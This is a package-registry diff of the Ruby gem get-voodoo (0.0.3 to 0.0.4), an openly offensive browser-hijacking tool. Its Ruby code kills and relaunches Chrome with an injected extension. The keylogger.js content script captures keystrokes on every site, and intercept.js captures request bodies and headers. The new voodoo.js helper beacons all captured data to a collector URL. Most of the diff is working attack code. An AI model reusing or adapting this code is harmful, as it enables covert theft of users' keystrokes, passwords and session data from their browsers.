get-voodoo 0.0.3 → 0.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/voodoo/browser.rb +63 -30
- data/lib/voodoo/cli.rb +114 -12
- data/lib/voodoo/extension.rb +1 -0
- data/lib/voodoo/js/collector.js +4 -1
- data/lib/voodoo/js/intercept.js +8 -7
- data/lib/voodoo/js/keylogger.js +10 -29
- data/lib/voodoo/js/voodoo.js +29 -0
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: bf52ab53234e0fe391f2fe8231ebd422bdaa75d4ede9a3fcd2a92417865f0f44
|
4
|
+
data.tar.gz: 7b6c2e3ff3c2bf4ce4267c709afe5f51d190c185fedfa9777842aafb193ca560
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 9c690a0cc390cad10c6b34e31093a35a805c11d6e1f98b20a0b2c94168e9c1356c9255387af4527e1340d8cbedd502dabc4d9756c1b4230da408bd33c2615d4e
|
7
|
+
data.tar.gz: c13bdf316ab82d192c48871336dd59d00b49596cd6894aadb0b2c23b2744bf49faafcf8b9c5504523f9168efdef33f65f823402c5a48d52aa2740d9082688462
|
data/lib/voodoo/browser.rb
CHANGED
@@ -19,52 +19,52 @@ module VOODOO
|
|
19
19
|
@extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
|
20
20
|
end
|
21
21
|
|
22
|
-
def
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
raise StandardError.new(':content or :file argument are required')
|
22
|
+
def keylogger(matches: '*://*/*')
|
23
|
+
add_script(matches: matches,
|
24
|
+
file: File.join(__dir__, 'js/keylogger.js')
|
25
|
+
) do |event|
|
26
|
+
yield event
|
28
27
|
end
|
29
|
-
@extension.add_content_script([matches], js: [content])
|
30
|
-
self
|
31
|
-
end
|
32
|
-
|
33
|
-
def keylogger(matches: '*://*/*', url_include: '')
|
34
|
-
collector = Collector.new
|
35
|
-
collector.on_json {|jsond| yield jsond }
|
36
|
-
|
37
|
-
options = {
|
38
|
-
collector_url: collector.url
|
39
|
-
}
|
40
|
-
|
41
|
-
@collector_threads.push(collector.thread)
|
42
|
-
|
43
|
-
keylogger_js = build_js('keylogger.js', with_options: options)
|
44
|
-
@extension.add_content_script(matches, js: [keylogger_js])
|
45
28
|
end
|
46
29
|
|
47
30
|
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
|
48
|
-
collector = make_collector() {|jsond| yield jsond }
|
49
31
|
options = {
|
50
32
|
matches: matches,
|
51
33
|
url_include: url_include,
|
52
34
|
body_include: body_include,
|
53
|
-
header_exists: header_exists
|
54
|
-
collector_url: collector.url
|
35
|
+
header_exists: header_exists
|
55
36
|
}
|
56
|
-
|
57
|
-
|
37
|
+
|
38
|
+
add_script(options: options,
|
39
|
+
background: true,
|
40
|
+
file: File.join(__dir__, 'js/intercept.js')
|
41
|
+
) do |event|
|
42
|
+
yield event
|
43
|
+
end
|
44
|
+
end
|
45
|
+
|
46
|
+
def add_permissions(permissions)
|
47
|
+
permissions = [permissions] unless permissions.is_a? Array
|
48
|
+
@extension.manifest[:permissions] += permissions
|
58
49
|
end
|
59
50
|
|
60
|
-
def hijack(
|
51
|
+
def hijack(urls)
|
61
52
|
# kill the browser process twise, to bypass close warning
|
62
53
|
`pkill -a -i "#{@process_name}"`
|
63
54
|
`pkill -a -i "#{@process_name}"`
|
64
55
|
sleep 0.1
|
65
56
|
|
57
|
+
urls = [urls] unless urls.kind_of? Array
|
58
|
+
|
66
59
|
profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
|
67
|
-
`open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{
|
60
|
+
`open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
|
61
|
+
|
62
|
+
if urls.length > 0
|
63
|
+
sleep 0.5
|
64
|
+
for url in urls
|
65
|
+
`open -b "#{@bundle}" -n -g -j --args #{url}`
|
66
|
+
end
|
67
|
+
end
|
68
68
|
|
69
69
|
for thread in @collector_threads
|
70
70
|
thread.join
|
@@ -91,6 +91,39 @@ module VOODOO
|
|
91
91
|
self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
|
92
92
|
end
|
93
93
|
|
94
|
+
def add_script(content: nil, file: nil, matches: nil, options: {}, background: false)
|
95
|
+
if matches != nil && background != false
|
96
|
+
puts 'WARNING: matches is ignored when background is set to true.'
|
97
|
+
end
|
98
|
+
|
99
|
+
if content == nil && file != nil
|
100
|
+
content = File.read file
|
101
|
+
end
|
102
|
+
|
103
|
+
if content == nil
|
104
|
+
raise StandardError.new(':content or :file argument are required')
|
105
|
+
end
|
106
|
+
|
107
|
+
if block_given?
|
108
|
+
collector = Collector.new
|
109
|
+
collector.on_json {|jsond| yield jsond }
|
110
|
+
@collector_threads.push(collector.thread)
|
111
|
+
options[:collector_url] = collector.url
|
112
|
+
end
|
113
|
+
|
114
|
+
content = build_js('voodoo.js', with_options: options) + "\n" + content
|
115
|
+
|
116
|
+
if background == true
|
117
|
+
return @extension.add_background_script(content: content)
|
118
|
+
else
|
119
|
+
if matches == nil
|
120
|
+
matches = '*://*/*'
|
121
|
+
end
|
122
|
+
|
123
|
+
return @extension.add_content_script(matches, js: [content])
|
124
|
+
end
|
125
|
+
end
|
126
|
+
|
94
127
|
protected
|
95
128
|
|
96
129
|
def make_collector
|
@@ -103,7 +136,7 @@ module VOODOO
|
|
103
136
|
def build_js(file, with_options: nil)
|
104
137
|
js = File.read(File.join(__dir__, 'js', file))
|
105
138
|
if with_options != nil
|
106
|
-
js = js.gsub('
|
139
|
+
js = js.gsub('$OPTIONS', JSON.generate(with_options))
|
107
140
|
end
|
108
141
|
return js
|
109
142
|
end
|
data/lib/voodoo/cli.rb
CHANGED
@@ -1,5 +1,6 @@
|
|
1
1
|
require 'thor'
|
2
2
|
require 'json'
|
3
|
+
require 'yaml'
|
3
4
|
require 'voodoo/browser'
|
4
5
|
|
5
6
|
module VOODOO
|
@@ -16,8 +17,8 @@ module VOODOO
|
|
16
17
|
option :url_include, :type => :string, :aliases => :u, :default => nil
|
17
18
|
option :body_include, :type => :string, :aliases => :b, :default => nil
|
18
19
|
option :header_exists, :type => :string, :aliases => :h, :default => nil
|
19
|
-
option :output, :type => :string, :aliases => :o, :default => 'stdout'
|
20
|
-
option :
|
20
|
+
option :output, :type => :string, :aliases => :o, :default => 'stdout',:desc => '<path>, stdout'
|
21
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
21
22
|
option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
|
22
23
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
23
24
|
desc 'intercept', 'intercept browser requests'
|
@@ -32,7 +33,9 @@ module VOODOO
|
|
32
33
|
|
33
34
|
browser.intercept(matches: options[:matches],
|
34
35
|
url_include: options[:url_include],
|
35
|
-
body_include: options[:body_include]) do |
|
36
|
+
body_include: options[:body_include]) do |event|
|
37
|
+
req = event[:payload]
|
38
|
+
|
36
39
|
if output != 'stdout'
|
37
40
|
output.puts JSON.generate(req)
|
38
41
|
output.close
|
@@ -49,25 +52,57 @@ module VOODOO
|
|
49
52
|
end
|
50
53
|
end
|
51
54
|
|
52
|
-
browser.hijack options[:site]
|
55
|
+
browser.hijack url: options[:site]
|
53
56
|
end
|
54
57
|
|
55
|
-
option :
|
58
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
59
|
+
option :output, :type => :string, :aliases => :o, :desc => '<path>, stdout', :default => nil
|
60
|
+
option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
|
56
61
|
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
57
62
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
63
|
+
option :permissions, :type => :array, :aliases => :p, :default => []
|
58
64
|
desc 'script <js/path>', 'add a content script'
|
59
65
|
def script(path_or_js)
|
60
66
|
browser = get_browser options[:browser]
|
67
|
+
browser.add_permissions options[:permissions]
|
68
|
+
|
69
|
+
output = options[:output]
|
70
|
+
|
71
|
+
if output != nil && output != 'stdout'
|
72
|
+
output = open(output, 'a')
|
73
|
+
end
|
74
|
+
|
61
75
|
if File.exists? path_or_js
|
62
|
-
|
76
|
+
if output != nil
|
77
|
+
browser.add_script file: path_or_js, options: options[:js_vars] do |event|
|
78
|
+
if output != 'stdout'
|
79
|
+
output.puts JSON.generate(event)
|
80
|
+
else
|
81
|
+
puts "#{event[:origin]}: #{event[:payload]}"
|
82
|
+
end
|
83
|
+
end
|
84
|
+
else
|
85
|
+
browser.add_script file: path_or_js, options: options[:js_vars]
|
86
|
+
end
|
63
87
|
else
|
64
|
-
|
88
|
+
if output != nil
|
89
|
+
browser.add_script content: path_or_js, options: options[:js_vars] do |event|
|
90
|
+
if output != 'stdout'
|
91
|
+
output.puts JSON.generate(event)
|
92
|
+
else
|
93
|
+
puts "[+] #{event[:origin]} => #{event[:payload]}"
|
94
|
+
end
|
95
|
+
end
|
96
|
+
else
|
97
|
+
browser.add_script content: path_or_js, options: options[:js_vars]
|
98
|
+
end
|
65
99
|
end
|
66
|
-
|
100
|
+
|
101
|
+
browser.hijack url: options[:site]
|
67
102
|
end
|
68
103
|
|
69
|
-
option :
|
70
|
-
option :output, :type => :string, :aliases => :o, :default => 'stdout'
|
104
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
105
|
+
option :output, :type => :string, :aliases => :o, :default => 'stdout', :desc => '<path>, stdout'
|
71
106
|
option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
|
72
107
|
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
73
108
|
desc 'keylogger', 'records user keystrokes'
|
@@ -83,11 +118,78 @@ module VOODOO
|
|
83
118
|
if output != 'stdout'
|
84
119
|
output.puts JSON.generate(event)
|
85
120
|
else
|
86
|
-
print event[:log]
|
121
|
+
print event[:payload][:log]
|
122
|
+
end
|
123
|
+
end
|
124
|
+
|
125
|
+
browser.hijack url: options[:site]
|
126
|
+
end
|
127
|
+
|
128
|
+
option :browser, :type => :string, :aliases => :b, :default => nil
|
129
|
+
option :output, :type => :string, :aliases => :o, :default => 'none', :desc => 'none, <path>, stdout, stdout:payload'
|
130
|
+
option :urls, :type => :array, :aliases => :x, :default => []
|
131
|
+
option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
|
132
|
+
desc 'template <path>', 'execute a VOODOO template'
|
133
|
+
def template(path)
|
134
|
+
pwd = Dir.pwd
|
135
|
+
output = options[:output]
|
136
|
+
|
137
|
+
if File.directory? path
|
138
|
+
pwd = File.expand_path File.join(pwd, path)
|
139
|
+
template = YAML.load_file(File.join(path, 'voodoo.ymal'))
|
140
|
+
else
|
141
|
+
pwd = File.expand_path File.join(pwd, File.dirname(path))
|
142
|
+
template = YAML.load_file(path)
|
143
|
+
end
|
144
|
+
|
145
|
+
template = YAML.load_file(path)
|
146
|
+
|
147
|
+
if output == 'none' && template['output']
|
148
|
+
output = template['output']
|
149
|
+
end
|
150
|
+
|
151
|
+
browser_inst = template['browser'] || {}
|
152
|
+
|
153
|
+
browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
|
154
|
+
|
155
|
+
if template['permissions']
|
156
|
+
browser.add_permissions template['permissions']
|
157
|
+
end
|
158
|
+
|
159
|
+
if !['stdout', 'stdout:payload', 'none'].include? output
|
160
|
+
output = open(output, 'a')
|
161
|
+
end
|
162
|
+
|
163
|
+
template['scripts'].each do |script|
|
164
|
+
file = File.expand_path(File.join(pwd, script['file'])) if script['file']
|
165
|
+
content = script['content']
|
166
|
+
matches = script['matches']
|
167
|
+
js_vars = options[:js_vars]
|
168
|
+
background = script['background'] || false
|
169
|
+
|
170
|
+
if output != 'none'
|
171
|
+
browser.add_script(matches: matches, file: file, content: content, options: js_vars, background: background) do |event|
|
172
|
+
case output
|
173
|
+
when 'stdout'
|
174
|
+
puts JSON.generate(event)
|
175
|
+
when 'stdout:payload'
|
176
|
+
puts JSON.generate(event[:payload])
|
177
|
+
else
|
178
|
+
output.puts JSON.generate(event)
|
179
|
+
end
|
180
|
+
end
|
181
|
+
else
|
182
|
+
browser.add_script(matches: matches,content: content, options: js_vars, background: background)
|
87
183
|
end
|
88
184
|
end
|
89
185
|
|
90
|
-
|
186
|
+
urls = options[:urls]
|
187
|
+
|
188
|
+
if urls.length == 0 && browser_inst['urls']
|
189
|
+
urls = browser_inst['urls']
|
190
|
+
end
|
191
|
+
|
192
|
+
browser.hijack urls.uniq
|
91
193
|
end
|
92
194
|
|
93
195
|
def self.exit_on_failure?
|
data/lib/voodoo/extension.rb
CHANGED
data/lib/voodoo/js/collector.js
CHANGED
@@ -1,4 +1,7 @@
|
|
1
|
-
|
1
|
+
/**
|
2
|
+
* VOODOO collector
|
3
|
+
*/
|
4
|
+
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
2
5
|
navigator.sendBeacon(request.collector_url, request.body);
|
3
6
|
sendResponse(1)
|
4
7
|
});
|
data/lib/voodoo/js/intercept.js
CHANGED
@@ -2,24 +2,26 @@
|
|
2
2
|
* VOODOO Intercept
|
3
3
|
*/
|
4
4
|
(function () {
|
5
|
-
let options =
|
5
|
+
let options = VOODOO.options || {};
|
6
6
|
let matches = options.matches || ["<all_urls>"];
|
7
7
|
|
8
|
-
if (
|
9
|
-
|
8
|
+
if (options.header_exists) {
|
9
|
+
options.header_exists = options.header_exists.toLowerCase();
|
10
10
|
}
|
11
11
|
|
12
|
-
if (!
|
13
|
-
|
12
|
+
if (!Array.isArray(matches)) {
|
13
|
+
matches = [matches];
|
14
14
|
}
|
15
15
|
|
16
16
|
const requests = new Map();
|
17
17
|
|
18
18
|
chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
|
19
19
|
const request = requests.get(e.requestId);
|
20
|
+
|
20
21
|
if (!request) {
|
21
22
|
return;
|
22
23
|
}
|
24
|
+
|
23
25
|
requests.delete(e.requestId);
|
24
26
|
request.headers = e.requestHeaders;
|
25
27
|
|
@@ -36,7 +38,7 @@
|
|
36
38
|
}
|
37
39
|
}
|
38
40
|
|
39
|
-
|
41
|
+
VOODOO.send(request);
|
40
42
|
}, { urls: matches }, ['requestHeaders', 'extraHeaders'])
|
41
43
|
|
42
44
|
chrome.webRequest.onBeforeRequest.addListener(
|
@@ -60,5 +62,4 @@
|
|
60
62
|
{ urls: matches },
|
61
63
|
['requestBody']
|
62
64
|
);
|
63
|
-
|
64
65
|
})();
|
data/lib/voodoo/js/keylogger.js
CHANGED
@@ -2,13 +2,6 @@
|
|
2
2
|
* VOODOO Keylogger
|
3
3
|
*/
|
4
4
|
(function () {
|
5
|
-
sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
|
6
|
-
const options = REBY_INJECTED_OPTIONS;
|
7
|
-
|
8
|
-
if (!options.collector_url) {
|
9
|
-
return;
|
10
|
-
}
|
11
|
-
|
12
5
|
let output = "";
|
13
6
|
let lastElement = null;
|
14
7
|
|
@@ -27,29 +20,17 @@
|
|
27
20
|
return id;
|
28
21
|
}
|
29
22
|
|
30
|
-
function
|
31
|
-
chrome.runtime.sendMessage({
|
32
|
-
collector_url: options.collector_url,
|
33
|
-
body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
|
34
|
-
}, function (response) {
|
35
|
-
//console.log(response);
|
36
|
-
});
|
37
|
-
output = "";
|
38
|
-
}
|
39
|
-
|
40
|
-
setInterval(function () {
|
41
|
-
if (output.length !== 0) {
|
42
|
-
send_to_collector();
|
43
|
-
}
|
44
|
-
}, 5000);
|
45
|
-
|
46
|
-
window.addEventListener("beforeunload", function (e) {
|
23
|
+
function sendAndDelete() {
|
47
24
|
if (output.length === 0) {
|
48
25
|
return;
|
49
26
|
}
|
50
|
-
|
51
|
-
|
27
|
+
VOODOO.send({ log: output });
|
28
|
+
output = "";
|
29
|
+
}
|
30
|
+
|
31
|
+
setInterval(sendAndDelete, 5000);
|
52
32
|
|
33
|
+
window.addEventListener("beforeunload", sendAndDelete, false);
|
53
34
|
window.addEventListener("blur", function () {
|
54
35
|
output += "\n[TAB LOST FOCUS]\n";
|
55
36
|
});
|
@@ -61,15 +42,15 @@
|
|
61
42
|
window.addEventListener("keydown", function (event) {
|
62
43
|
if (lastElement !== event.path[0]) {
|
63
44
|
lastElement = event.path[0];
|
64
|
-
output += `\n
|
45
|
+
output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
|
65
46
|
}
|
66
47
|
if (event.key.length > 1) {
|
67
|
-
output += `[
|
48
|
+
output += `[${event.key}]`;
|
68
49
|
} else {
|
69
50
|
output += event.key;
|
70
51
|
}
|
71
52
|
});
|
72
53
|
|
73
54
|
output = `\n====== ${window.location.href} (${document.title}) ======\n`;
|
74
|
-
|
55
|
+
sendAndDelete();
|
75
56
|
})();
|
@@ -0,0 +1,29 @@
|
|
1
|
+
if (!sessionStorage.tab_uuid) {
|
2
|
+
sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
|
3
|
+
}
|
4
|
+
|
5
|
+
const VOODOO = {
|
6
|
+
options: $OPTIONS || {},
|
7
|
+
send(payload) {
|
8
|
+
if (!VOODOO.options.collector_url) {
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
|
12
|
+
const body = JSON.stringify({
|
13
|
+
time: new Date().getTime(),
|
14
|
+
tab_uuid: sessionStorage.tab_uuid,
|
15
|
+
origin: window.location.origin,
|
16
|
+
payload
|
17
|
+
});
|
18
|
+
|
19
|
+
if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
|
20
|
+
return navigator.sendBeacon(VOODOO.options.collector_url, body);
|
21
|
+
}
|
22
|
+
|
23
|
+
chrome.runtime.sendMessage({
|
24
|
+
collector_url: VOODOO.options.collector_url, body
|
25
|
+
});
|
26
|
+
}
|
27
|
+
};
|
28
|
+
|
29
|
+
const V = VOODOO;
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: get-voodoo
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0.
|
4
|
+
version: 0.0.4
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Ron Masas
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2022-03-
|
11
|
+
date: 2022-03-11 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: thor
|
@@ -82,6 +82,7 @@ files:
|
|
82
82
|
- lib/voodoo/js/collector.js
|
83
83
|
- lib/voodoo/js/intercept.js
|
84
84
|
- lib/voodoo/js/keylogger.js
|
85
|
+
- lib/voodoo/js/voodoo.js
|
85
86
|
homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
|
86
87
|
licenses:
|
87
88
|
- GPL-2.0
|